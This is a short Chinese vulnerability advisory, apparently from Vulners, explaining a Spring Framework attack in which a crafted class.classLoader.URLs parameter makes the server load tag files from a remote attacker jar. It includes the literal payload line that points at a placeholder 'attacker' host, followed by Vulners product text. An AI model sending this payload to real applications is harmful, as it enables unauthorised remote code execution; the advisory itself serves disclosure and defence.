1. 创建attack.jar并可通过HTTP URL可用。这个jar必须包含有以下内容:
- META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签文件而不是类
- META-INF/tags/中的标签文件,包含有标签定义(任意Java代码)
2. 通过以下HTTP参数向表单控制器提交HTTP请求:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
这会使用攻击者的URL覆盖WebappClassLoader的repositoryURLs属性的第0个元素。
3. 之后org.apache.jasper.compiler.TldLocationsCache.scanJars()会使用 WebappClassLoader的URL解析标签库,会对TLD中所指定的所有标签文件解析攻击者所控制的jar。
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation